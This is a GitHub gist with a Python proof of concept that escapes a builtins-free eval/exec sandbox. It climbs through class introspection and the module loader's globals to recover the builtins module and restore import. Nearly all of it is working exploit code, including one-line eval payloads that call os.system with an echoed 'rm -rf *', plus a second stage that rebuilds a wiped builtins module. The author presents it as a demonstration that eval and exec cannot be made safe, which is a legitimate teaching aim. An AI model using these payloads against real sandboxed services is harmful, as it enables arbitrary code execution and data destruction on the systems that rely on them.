Skip to content

Instantly share code, notes, and snippets.

@Aran-Fey
Last active September 26, 2018 08:28
Show Gist options
  • Save Aran-Fey/2667cef9420e930e57d80187a76e35e4 to your computer and use it in GitHub Desktop.
Save Aran-Fey/2667cef9420e930e57d80187a76e35e4 to your computer and use it in GitHub Desktop.
Showcasing how to gain access to the builtins from a simple literal, proving that eval and exec can always be exploited no matter which safeguards you put in place. (Tested in python 3.7)
"""
This code gains access to the builtins from a simple literal. As a consequence,
we can conclude that `eval` and `exec` are insecure even if the evaluated code
has no (direct) access to the builtins or globals.
Of course, there are ways to break this particular exploit - for example,
executing
import abc
del abc.__loader__
will prevent it from working. But that only protects you against this particular
implementation. You can never be sure if there isn't another convoluted way to
find access to the builtins. Trying to make `eval` or `exec` safe is therefore
almost certain to end poorly.
"""
# make a sandbox:
# *) no imports
# *) no builtins
del __builtins__.__import__
del __builtins__
# attacker's code to restore the builtins, including the import functionality:
type = ''.__class__.__class__
ABCMeta = type.__subclasses__(type)[0]
abc_globals = ABCMeta.register.__globals__
importlib_globals = abc_globals['__loader__'].get_data.__globals__
__builtins__ = importlib_globals['sys'].modules['builtins']
spec = __builtins__.__spec__
__builtins__.__spec__.loader.create_module(__builtins__.__spec__)
__builtins__.__spec__ = spec
# proof that it works in `exec`, with no access to any globals:
scope = {'__builtins__': {}}
exec('''
type = ''.__class__.__class__
ABCMeta = type.__subclasses__(type)[0]
abc_globals = ABCMeta.register.__globals__
importlib_globals = abc_globals['__loader__'].get_data.__globals__
__builtins__ = importlib_globals['sys'].modules['builtins']
spec = __builtins__.__spec__
__builtins__.__spec__.loader.create_module(__builtins__.__spec__)
__builtins__.__spec__ = spec
__builtins__.print('deleting all your files...')
os = __builtins__.__import__('os')
os.system("echo rm -rf \\*")
''', scope, scope)
# proof that it works in `eval`:
scope = {'__builtins__': {}}
eval('''
(lambda __builtins__=''.__class__.__class__.__subclasses__(''.__class__.__class__)[0].register.__globals__['__loader__'].get_data.__globals__['sys'].modules['builtins']: [__builtins__.__spec__.loader.create_module(__builtins__.__spec__), __builtins__.print('deleting all your files...'), __builtins__.__import__('os').system("echo rm -rf \\*")])()
''', scope, scope)
#############################################################
# level 2: restoring a completely mutilated builtins module #
#############################################################
# setup:
vars(__builtins__).clear()
del __builtins__
# solution:
# re-import the builtins module to restore most of its functionality
type = ''.__class__.__class__
ABCMeta = type.__subclasses__(type)[0]
abc_globals = ABCMeta.register.__globals__
importlib_globals = abc_globals['__loader__'].get_data.__globals__
sys = importlib_globals['sys']
__builtins__ = sys.modules['builtins']
loader = sys.modules['_frozen_importlib'].BuiltinImporter
spec = sys.modules['_frozen_importlib'].ModuleSpec('builtins', loader)
loader.create_module(spec)
loader.exec_module(__builtins__)
__builtins__.__spec__ = spec
# for some reason exceptions aren't restored, so we'll manually
# traverse the exception type hierarchy and add them to the builtins
try:
1/0
except:
err = sys.exc_info()[0]
err = err.mro()[-2]
queue = [err]
while queue:
err = queue.pop()
setattr(__builtins__, err.__name__, err)
queue.extend(err.__subclasses__())
__builtins__.IOError = __builtins__.EnvironmentError = OSError
# restore the `open` function
__builtins__.open = sys.modules['io'].open
# re-import the `site` module to restore site-builtins
site = sys.modules['site']
site.__loader__.exec_module(site)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment